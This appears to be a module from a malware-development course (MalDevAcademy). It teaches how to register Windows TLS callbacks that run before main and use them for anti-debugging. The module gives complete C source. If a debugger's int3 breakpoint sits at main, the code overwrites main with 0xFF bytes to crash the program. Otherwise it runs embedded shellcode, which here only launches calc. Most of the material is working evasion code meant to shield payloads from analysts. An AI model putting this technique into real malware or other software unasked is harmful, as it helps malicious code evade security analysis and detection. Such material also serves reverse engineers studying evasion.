TLS Callbacks For Anti-Debugging
Thread Local Storage TLS callbacks were first introduced in the Local PE Injection module. TLS callbacks are a set of callback functions specified within the TLS directory of ...
Jump to Section (14)
- Introduction
- Adding TLS Callbacks
- TLS Callback Function Prototype
- Constructing The TLS Callback Functions
- Defining TLS Callbacks in Memory Segments
- Adding The Callback Functions To The PIMAGE_TLS_CALLBACK Array
- The const_seg Directive
- Referencing The Segments' Variables
- The Complete Implementation
- Adding Anti-Debugging Functionality
- Compiling The Implementation
- The Anti-Debugging Implementation
- Demo
- Video Demo
- Companion Source Code
Introduction
Thread Local Storage TLS callbacks were first introduced in the Local PE Injection module. TLS callbacks are a set of callback functions specified within the TLS directory of a PE file, these callbacks are executed by the Windows loader before thread creation, meaning that a TLS callback can be executed before the main thread.
From an anti-analysis perspective, TLS callbacks can be used to check if the implementation is being analyzed before executing the main function. This module will utilize TLS callbacks to execute anti-analysis functions before the main function of the implementation is invoked.
Adding TLS Callbacks
Before diving into the use of TLS callbacks for anti-analysis purposes, it's essential to gain a clear understanding of how to add them to your Visual Studio project.
TLS Callback Function Prototype
As shown in earlier modules, a prototype for a TLS callback function is shown below.
typedef VOID (NTAPI *PIMAGE_TLS_CALLBACK) (PVOID hModule, DWORD Reason, PVOID Context);Constructing The TLS Callback Functions
With the function prototype in place, it's now possible to declare the TLS callback functions. In the following code snippets, we declare 3 separate TLS callback functions TlsCallback1, TlsCallback2, and TlsCallback3.
VOID TlsCallback1(PVOID hModule, DWORD dwReason, PVOID pContext) {
if (dwReason == DLL_THREAD_ATTACH) {
// ...
}
if (dwReason == DLL_PROCESS_ATTACH) {
MessageBox(0, TEXT("TLS Callback 1: Process Attach Triggered"), TEXT("TLS Process 1"), MB_OK | MB_ICONINFORMATION);
}
// ...
}
VOID TlsCallback2(PVOID hModule, DWORD dwReason, PVOID pContext) {
if (dwReason == DLL_THREAD_ATTACH) {
// ...
}
if (dwReason == DLL_PROCESS_ATTACH) {
MessageBox(0, TEXT("TLS Callback 2: Process Attach Triggered"), TEXT("TLS Process 2"), MB_OK | MB_ICONINFORMATION);
}
// ...
}
VOID TlsCallback3(PVOID hModule, DWORD dwReason, PVOID pContext) {
if (dwReason == DLL_THREAD_ATTACH) {
// ...
}
if (dwReason == DLL_PROCESS_ATTACH) {
MessageBox(0, TEXT("TLS Callback 3: Process Attach Triggered"), TEXT("TLS Process 3"), MB_OK | MB_ICONINFORMATION);
}
// ...
}Note that declaring the functions will not initialize them as TLS callbacks for the current program because additional link time actions should be performed, which are shown in the following section.
Defining TLS Callbacks in Memory Segments
By default, when a program is compiled, it is created without the TLS directory in case it doesn't have any TLS callback functions. However, in our case, telling the compiler to add the TLS directory to the compiled program is done by referencing the _tls_used symbol for 64-bit builds. _tls_used is referenced using the following linker directive:
#pragma comment (linker, "/INCLUDE:_tls_used")The INCLUDE keyword is used to instruct the linker to include a specific symbol or function in the final executable even if it appears to be unreferenced or unused by the code. In our case, this symbol is _tls_used.
Adding The Callback Functions To The PIMAGE_TLS_CALLBACK Array
At program startup, the Windows loader will parse the TLS directory to fetch the PIMAGE_TLS_CALLBACK array. The PIMAGE_TLS_CALLBACK array represents the TLS callback functions that should be executed.
The .CRT$XLA symbol represents the first TLS callback function in the array to be executed Notice the "A" at the end of the name), whereas the .CRT$XLZ symbol represents the last one Notice the "Z" at the end of the name). The Windows loader will execute the .CRT$XL_ callbacks in alphabetical order. For example, the .CRT$XLC callback is executed before the .CRT$XLD callback, but after executing .CRT$XLB.
The .CRT$XL_ symbols are read-only data segments and declaring these symbols is done using the const_seg linker directive, which will be discussed in the next section. It is worth noting, however, that although one can declare the first TLS callback to be executed via the .CRT$XLA symbol, it is advised to start with the .CRT$XLB symbol instead.
The const_seg Directive
In Visual Studio, the const_seg linker directive is used to place data in a specific section of the resulting executable file. This directive allows you to control the placement of constants within the code, which can be useful for ensuring that certain data is placed in a specific section of memory when the compiler applies its code optimizations.
The example below makes use of the const_seg directive to create a segment named myconst.
// Creating the 'myconst' segment
#pragma const_seg(".myconst")
// All data here are located in the 'myconst' segment. All variables should be declared as constant.
const int myConstant = 42;
// The end of the 'myconst' segment
#pragma const_seg()Building upon the previous example and in alignment with the prescribed naming conventions for initializing TLS callbacks, one can use the const_seg directive to create a segment named CRT$XLA. This segment will store a pointer to the initial TLS callback function. Subsequently, the segments CRT$XLB, CRT$XLC, and so forth should be used for the second and third TLS callback functions, respectively.
As previously mentioned, all TLS callbacks adhere to the PIMAGE_TLS_CALLBACK function pointer prototype. Therefore, it is essential that each of the .CRT$XL_ segments hold a constant PIMAGE_TLS_CALLBACK variable pointing to its respective TLS callback function, as demonstrated in the following code snippet.
// CRT$XLA will contain the first TLS callback function pointer
#pragma const_seg(".CRT$XLA")
// 'FirstTLSCallbackFunc' is a constant PIMAGE_TLS_CALLBACK variable holding the address of the first TLS callback function to execute (named TlsCa
llback1).
EXTERN_C CONST PIMAGE_TLS_CALLBACK FirstTLSCallbackFunc = (PIMAGE_TLS_CALLBACK)TlsCallback1;
#pragma const_seg()
//---------------------------------
// CRT$XLB will contain the second TLS callback function pointer
#pragma const_seg(".CRT$XLB")
// 'SecondTLSCallbackFunc' is a constant PIMAGE_TLS_CALLBACK variable holding the address of the second TLS callback function to execute (named Tls
Callback2).
EXTERN_C CONST PIMAGE_TLS_CALLBACK SecondTLSCallbackFunc = (PIMAGE_TLS_CALLBACK)TlsCallback2;
#pragma const_seg()
//---------------------------------
// CRT$XLC will contain the third TLS callback function pointer
#pragma const_seg(".CRT$XLC")
// 'ThirdTLSCallbackFunc' is a constant PIMAGE_TLS_CALLBACK variable holding the address of the third TLS callback function to execute (named TlsCa
llback3).
EXTERN_C CONST PIMAGE_TLS_CALLBACK ThirdTLSCallbackFunc = (PIMAGE_TLS_CALLBACK)TlsCallback3;
#pragma const_seg()During runtime and before the invocation of the main function, the TlsCallback1 function is executed, followed by TlsCallback2, and then TlsCallback3. These functions are located in the .CRT$XLA, .CRT$XLB, and .CRT$XLC segments respectively.
Referencing The Segments' Variables
Based on the snippets shown above, the variables FirstTLSCallbackFunc, SecondTLSCallbackFunc, and ThirdTLSCallbackFunc are used to hold the addresses of the TlsCallback1, TlsCallback2, and TlsCallback3 TLS callback functions, respectively.
Although these variables are declared in the aforementioned segments, we still need to force their reference to the compiler. This is done using the following linker directives:
#pragma comment (linker, "/INCLUDE:FirstTLSCallbackFunc")
#pragma comment (linker, "/INCLUDE:SecondTLSCallbackFunc")
#pragma comment (linker, "/INCLUDE:ThirdTLSCallbackFunc")These directives make use of the INCLUDE keyword which forces these symbols to be included in the compilation process, even if they appear to be unreferenced or unused by the code.
The Complete Implementation
Putting all the pieces together, the following code represents a simple example of constructing three TLS callback functions that will be executed before executing the main function, creating a message box popup at process creation (DLL_PROCESS_ATTACH).
#include <windows.h>
#include <stdio.h>
#pragma comment (linker, "/INCLUDE:_tls_used")
#pragma comment (linker, "/INCLUDE:FirstTLSCallbackFunc")
#pragma comment (linker, "/INCLUDE:SecondTLSCallbackFunc")
#pragma comment (linker, "/INCLUDE:ThirdTLSCallbackFunc")
// TLS Callback Function Prototypes:
VOID TlsCallback1(PVOID hModule, DWORD dwReason, PVOID pContext);
VOID TlsCallback2(PVOID hModule, DWORD dwReason, PVOID pContext);
VOID TlsCallback3(PVOID hModule, DWORD dwReason, PVOID pContext);
//----------------------------------------------------------------------------------------------------------------
#pragma const_seg(".CRT$XLA")
EXTERN_C CONST PIMAGE_TLS_CALLBACK FirstTLSCallbackFunc = (PIMAGE_TLS_CALLBACK)TlsCallback1;
#pragma const_seg()
//------------------------------------------
#pragma const_seg(".CRT$XLB")
EXTERN_C CONST PIMAGE_TLS_CALLBACK SecondTLSCallbackFunc = (PIMAGE_TLS_CALLBACK)TlsCallback2;
#pragma const_seg()
//------------------------------------------
#pragma const_seg(".CRT$XLC")
EXTERN_C CONST PIMAGE_TLS_CALLBACK ThirdTLSCallbackFunc = (PIMAGE_TLS_CALLBACK)TlsCallback3;
#pragma const_seg()
//----------------------------------------------------------------------------------------------------------------
//----------------------------------------------------------------------------------------------------------------
VOID TlsCallback1(PVOID hModule, DWORD dwReason, PVOID pContext) {
if (dwReason == DLL_THREAD_ATTACH) {
// ...
}
if (dwReason == DLL_PROCESS_ATTACH) {
MessageBox(0, TEXT("TLS Callback 1: Process Attach Triggered"), TEXT("TLS Process 1"), MB_OK | MB_ICONINFORMATION);
}
// ...
}
VOID TlsCallback2(PVOID hModule, DWORD dwReason, PVOID pContext) {
if (dwReason == DLL_THREAD_ATTACH) {
// ...
}
if (dwReason == DLL_PROCESS_ATTACH) {
MessageBox(0, TEXT("TLS Callback 2: Process Attach Triggered"), TEXT("TLS Process 2"), MB_OK | MB_ICONINFORMATION);
}
// ...
}
VOID TlsCallback3(PVOID hModule, DWORD dwReason, PVOID pContext) {
if (dwReason == DLL_THREAD_ATTACH) {
// ...
}
if (dwReason == DLL_PROCESS_ATTACH) {
MessageBox(0, TEXT("TLS Callback 3: Process Attach Triggered"), TEXT("TLS Process 3"), MB_OK | MB_ICONINFORMATION);
}
// ...
}
//----------------------------------------------------------------------------------------------------------------
//----------------------------------------------------------------------------------------------------------------
int main() {
printf("[i] Hello World!\n");
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}Adding Anti-Debugging Functionality
After the creation of TLS callback functions, it is now possible to incorporate anti-analysis functionality to be executed from within a TLS callback function. In this module, the TLS callback being executed will verify whether a software breakpoint has been installed at the program's entry point. Debuggers often automatically install breakpoints when an executable file is opened. Software breakpoints are installed by patching the opcodes of the target address to break at, which involves writing a 0xCC opcode representing the int 3 instruction. When executed, the int 3 instruction raises an exception, which is then handled by the debugger itself.
Our TLS callback will verify whether the main function of the implementation begins with the 0xCC opcode. If this is the case, the TLS callback will proceed to overwrite the entire main function with 0xFF bytes. This action will compel the debugger to trigger exceptions as the program executes invalid instructions (0xFF). Since the debugger cannot handle such an exception, the process will crash, effectively thwarting typical debugging attempts.
Conversely, if the TLS callback does not detect a breakpoint installed at the beginning of the main function, the program will proceed to execute a shellcode representing our payload.
Compiling The Implementation
For the TLS callback to check if the program's entry point is patched with the int 3 instruction, it must first know where to check for this instruction. Compiling the code directly in Visual Studio will wrap the main function inside of another function named mainCRTStartup. For example, if the program is opened from within xdbg, xdbg will install a breakpoint a the start of mainCRTStartup rather than the actual entry point. This is demonstrated in the following images, where xdbg installs a breakpoint at 00007FF6EFFB1330, which is the mainCRTStartup function's entry.


Meanwhile, the image below shows that the main entry point is 00007FF6EFFB1070 rather than 00007FF6EFFB1330.

To fix this problem, Visual Studio's compiler configurations should be altered to remove the mainCRTStartup function. This is done by applying the steps shown in the CRT Library Removal & Malware Compiling module.
The only option that should not be modified is the Ignore All Default Libraries linker option. This must remain the same in order to set up the TLS callback functions.

The Anti-Debugging Implementation
The complete source code for a program called TLSCallbacksForAD.exe is shown below. This program utilizes a TLS callback named ADTlsCallback. ADTlsCallback will check if the first byte of the main function is equal to 0xCC, if so the main function will be overwritten with 0xFF bytes, preventing further debugging. On the other hand, if the program was not opened from a debugger, ADTlsCallback's check will fail, proceeding to execute the main function and executing our payload.
#include <Windows.h>
#pragma comment (linker, "/INCLUDE:_tls_used")
#pragma comment (linker, "/INCLUDE:CheckIfImgOpenedInADebugger")
//----------------------------------------------------------------------------------------------------------------
#define OVERWRITE_SIZE 0x500
#define INT3_INSTRUCTION_OPCODE 0xCC
//----------------------------------------------------------------------------------------------------------------
#define ERROR_BUF_SIZE (MAX_PATH * 2)
#define PRINT( STR, ... ) \
if (1) { \
LPSTR cBuffer = (LPSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ERROR_BUF_SIZE); \
if (cBuffer){ \
int iLength = wsprintfA(cBuffer, STR, __VA_ARGS__); \
WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), cBuffer, iLength, NULL, NULL); \
HeapFree(GetProcessHeap(), 0x00, cBuffer); \
} \
}
//----------------------------------------------------------------------------------------------------------------
extern void* __cdecl memset(void*, int, size_t);
#pragma intrinsic(memset)
#pragma function(memset)
void* __cdecl memset(void* pTarget, int value, size_t cbTarget) {
unsigned char* p = (unsigned char*)pTarget;
while (cbTarget-- > 0) {
*p++ = (unsigned char)value;
}
return pTarget;
}
//----------------------------------------------------------------------------------------------------------------
// TLS Callback Function Prototypes:
VOID ADTlsCallback(PVOID hModule, DWORD dwReason, PVOID pContext);
#pragma const_seg(".CRT$XLB")
EXTERN_C CONST PIMAGE_TLS_CALLBACK CheckIfImgOpenedInADebugger = (PIMAGE_TLS_CALLBACK)ADTlsCallback;
#pragma const_seg()
//----------------------------------------------------------------------------------------------------------------
//----------------------------------------------------------------------------------------------------------------
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char x64RawCalc[] = {
0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,
0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,
0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3
};int main() {
HANDLE hThread = NULL;
PRINT("[#] Executing Main Function: \n");
PRINT("[i] Executing Shellcode ... ");
if (!(hThread = CreateThread(NULL, 0x00, x64RawCalc, NULL, 0x00, NULL)))
return GetLastError();
WaitForSingleObject(hThread, INFINITE);
PRINT("[+] DONE \n");
return 0;
}
//----------------------------------------------------------------------------------------------------------------
VOID ADTlsCallback(PVOID hModule, DWORD dwReason, PVOID pContext) {
DWORD dwOldProtection = 0x00;
if (dwReason == DLL_PROCESS_ATTACH) {
PRINT("[TLS][i] Main Function Address: 0x%p \n", main);
if (*(BYTE*)main == INT3_INSTRUCTION_OPCODE) {
PRINT("[TLS][!] Entry Point Is Patched With \"INT 3\" Instruction!\n");
// Overwrite main function - process crash
if (VirtualProtect(&main, OVERWRITE_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
memset(main, 0xFF, OVERWRITE_SIZE);
PRINT("[TLS][+] Main Function Is Overwritten With 0xFF Bytes \n");
}
else {
PRINT("[TLS][!] Failed To Overwrite The Entry Point\n");
}
}
}
}Demo
The images below show TLSCallbacksForAD.exe running in a debugger and compared to its normal execution.


Video Demo
The video below shows TLSCallbacksForAD.exe running in a debugger and compared to its normal execution.

Companion Project & Source Code
7 readable source/config files extracted directly from the archive
// @NUL0x4C | @mrd0x : MalDevAcademy
#include <Windows.h>
#include <stdio.h>
#pragma comment (linker, "/INCLUDE:_tls_used")
#pragma comment (linker, "/INCLUDE:FirstTLSCallbackFunc")
#pragma comment (linker, "/INCLUDE:SecondTLSCallbackFunc")
#pragma comment (linker, "/INCLUDE:ThirdTLSCallbackFunc")
// TLS Callback Function Prototypes:
VOID TlsCallback1(PVOID hModule, DWORD dwReason, PVOID pContext);
VOID TlsCallback2(PVOID hModule, DWORD dwReason, PVOID pContext);
VOID TlsCallback3(PVOID hModule, DWORD dwReason, PVOID pContext);
//----------------------------------------------------------------------------------------------------------------
#pragma const_seg(".CRT$XLA")
EXTERN_C CONST PIMAGE_TLS_CALLBACK FirstTLSCallbackFunc = (PIMAGE_TLS_CALLBACK)TlsCallback1;
#pragma const_seg()
//------------------------------------------
#pragma const_seg(".CRT$XLB")
EXTERN_C CONST PIMAGE_TLS_CALLBACK SecondTLSCallbackFunc = (PIMAGE_TLS_CALLBACK)TlsCallback2;
#pragma const_seg()
//------------------------------------------
#pragma const_seg(".CRT$XLC")
EXTERN_C CONST PIMAGE_TLS_CALLBACK ThirdTLSCallbackFunc = (PIMAGE_TLS_CALLBACK)TlsCallback3;
#pragma const_seg()
//----------------------------------------------------------------------------------------------------------------
//----------------------------------------------------------------------------------------------------------------
VOID TlsCallback1(PVOID hModule, DWORD dwReason, PVOID pContext) {
if (dwReason == DLL_THREAD_ATTACH) {
// ...
}
if (dwReason == DLL_PROCESS_ATTACH) {
MessageBox(0, TEXT("TLS Callback 1: Process Attach Triggered"), TEXT("TLS Process 1"), MB_OK | MB_ICONINFORMATION);
}
// ...
}
VOID TlsCallback2(PVOID hModule, DWORD dwReason, PVOID pContext) {
if (dwReason == DLL_THREAD_ATTACH) {
// ...
}
if (dwReason == DLL_PROCESS_ATTACH) {
MessageBox(0, TEXT("TLS Callback 2: Process Attach Triggered"), TEXT("TLS Process 2"), MB_OK | MB_ICONINFORMATION);
}
// ...
}
VOID TlsCallback3(PVOID hModule, DWORD dwReason, PVOID pContext) {
if (dwReason == DLL_THREAD_ATTACH) {
// ...
}
if (dwReason == DLL_PROCESS_ATTACH) {
MessageBox(0, TEXT("TLS Callback 3: Process Attach Triggered"), TEXT("TLS Process 3"), MB_OK | MB_ICONINFORMATION);
}
// ...
}
//----------------------------------------------------------------------------------------------------------------
//----------------------------------------------------------------------------------------------------------------
int main() {
printf("[i] Hello World!\n");
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
Full Archive Manifest (9 files inside .zip)
- TLSCallbacksForAD/TLSCallbackExample/TLSCallbackExample.c
- TLSCallbacksForAD/TLSCallbackExample/TLSCallbackExample.vcxproj
- TLSCallbacksForAD/TLSCallbackExample/TLSCallbackExample.vcxproj.filters
- TLSCallbacksForAD/TLSCallbackExample/TLSCallbackExample.vcxproj.user
- TLSCallbacksForAD/TLSCallbacksForAD.sln
- TLSCallbacksForAD/TLSCallbacksForAD/TLSCallbacksForAD.vcxproj
- TLSCallbacksForAD/TLSCallbacksForAD/TLSCallbacksForAD.vcxproj.filters
- TLSCallbacksForAD/TLSCallbacksForAD/TLSCallbacksForAD.vcxproj.user
- TLSCallbacksForAD/TLSCallbacksForAD/main.c